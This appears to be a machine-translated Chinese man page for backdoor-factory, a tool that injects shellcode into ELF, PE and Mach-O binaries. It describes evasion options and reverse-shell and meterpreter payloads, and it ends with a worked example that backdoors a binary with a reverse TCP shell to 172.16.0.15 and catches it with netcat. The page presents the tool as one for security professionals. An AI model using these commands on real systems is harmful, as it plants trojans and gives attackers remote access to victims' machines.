backdoor-factory - 在二进制文件中注入预定义或用户定义的 shellcode
backdoor-factory [options]
后门工厂使用用户所需的 shellcode 修补可执行二进制文件,并继续正常执行预修补状态。
该工具仅供安全专业人员和研究人员使用。
该工具不支持可重定位的 ELF 可执行文件(即使用 -fPIE 选项进行编译,根据 Debian 强化要求的建议,请参阅 https://wiki.debian.org/Hardening)
像 ssh 这样的二进制文件可能无法像 dolphin 这样的二进制文件(在编写本手册页时)那样正确地保存。
显示此帮助消息并退出
文件到后门
可供使用的有效负载。使用“show”查看有效负载。
用于反向连接的C2的IP。
连接回反向 shell 或侦听绑定 shell 的端口
如果您想使用代码洞穴跳转来进一步隐藏二进制文件中的 shellcode,请选择此选项。
强制将新部分添加到 exe 中(更好的成功),但避免使用杀毒软件
用户提供的 shellcode,请确保它与您的目标架构匹配。
Cave 标志将找到可用于存储 shellcode 的代码洞穴。这将打印到特定大小的所有代码洞穴。-l 标志可以与此设置一起使用。
与 -c 一起使用以帮助查找不同大小的代码洞
后门输出文件路径。父目录必须存在
新部分名称必须少于七个字符
这是您想要后门的文件的位置。您可以使用 -a 设置强制将 codecave 附加到 exe,从而加快文件后门目录的速度。
此标志将包含 Codecave 的部分更改为 RWE。有时这是必要的。默认启用。如果禁用,后门可能会失败。
该命令将后门工厂转变为狩猎和 shellcode 注入类型的机制。编辑注射器模块中的目标设置。
与注射器一起使用时,在原始文件上添加后缀以便于恢复
与喷油器模块一起使用。该命令删除原始文件。不适用于生产系统。 (作者不对愚蠢的使用负责。)
磁盘偏移量的起始点(以字节为单位)。如果您在找到偏移量后发现其中一个文件使用此标志,一些作者希望混淆其在磁盘上的偏移量以避免逆向工程。
在对文件进行后门处理之前确定 BDF 是否支持该文件。单独使用或与 verbose 一起使用。如果尝试后门,此检查会自动进行。
将来使用,帮助确定 PE 文件中可能的最小 shellcode
杀死横幅。
用于调试信息输出。
仅限 ALL、x86 或 x64 类型的二进制文件。默认=全部
允许覆盖 PE 证书表的指针,有效地从二进制文件中删除证书。
实验 检查 PE 二进制文件中的“requestedExecutionLevel level="highestAvailable”。如果该字符串包含在二进制文件中,则它必须以系统/管理员身份运行。如果不在支持检查模式下,如果存在requestExecutionLevel 条目,它将尝试将highestAvailable 修补到清单中。
如果您不想修补 DLL,请使用此设置。默认打补丁。
对于 MACH-O 格式。如果文件很胖,请重点关注要修补的拱门。默认为 x64。要强制 x86 使用 -F x86,要强制两个架构使用 -F ALL。
对于能够发出信标的有效负载,请设置时间(以秒为单位)
PE文件的修补方法,“手动”、“自动”、替换和onionduke
对于洋葱公爵。提供您想要的二进制文件。
默认值:不支持 XP 旧版机器,使用 -X 支持 XP。默认情况下,二进制文件将在 XP 计算机(例如沙箱)上崩溃
实验默认情况下,新的导入目录表会在新部分中创建,通过调用此标志,它将被放入代码洞中。在某些情况下,这可能会导致二进制失败。首先测试目标二进制文件。
对于那些拥有联合签名证书但希望仅签署 PE 二进制文件的人。在 certs 目录中分别将您的签名密钥和私钥命名为signingcert.cer 和signingPrivateKey.pem,由您来获取签名证书。
执行预处理目录中的预处理脚本
后门工厂中有各种预定义的 shellcode。它们的可用性取决于目标类型(ELF32、ELF64、PE32...)。 shellcodes 列表定义如下。
需要:要设置的远程主机和端口允许:远程 shell 访问
需要:要设置的远程主机和端口允许:远程 shell 访问
需要:一个信标、一个远程主机和要设置的端口允许:远程 shell 访问
需要:准备注入的用户定义的 shellcode 许可:取决于 shellcode
需要: 许可:
需求:要设置的远程主机和端口允许:远程 shell 访问
需要:要设置的远程主机和端口允许:通过反射 Dll 注入有效负载注入 meterpreter 服务器 DLL
需要:要设置的远程主机和端口允许:通过 https 传输的 meterpreter
需求:准备注入的用户定义的 shellcode 许可:取决于 shellcode
需要:要设置的远程主机和端口允许:
需要:要设置的远程主机和端口允许:
需要:要设置的远程主机和端口允许:通过反射 Dll 注入有效负载注入 meterpreter 服务器 DLL
需求:准备注入的用户定义的 shellcode 许可:取决于 shellcode
需求:要设置的远程主机和端口允许:远程 shell 访问
需求:要设置的远程主机和端口允许:远程 shell 访问
需要:一个信标、一个远程主机和要设置的端口允许:远程 shell 访问
需求:准备注入的用户定义的 shellcode 许可:取决于 shellcode
通过远程 TCP 侦听器(例如 netcat)集成远程 shell 访问来对 ELF 二进制文件进行洞穴编码的示例:
backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcp在IP 172.16.0.15后面的主机上,以监听模式启动netcat:
netcat -l 172.16.0.15 8080在目标上,启动后门二进制文件:
./backdoored/dolphin现在,在主机 172.16.0.15 上,只需使用您的 shell。
2017 年 5 月,最初由 Philippe Thierry 编译(phil at reseau-libre dot com)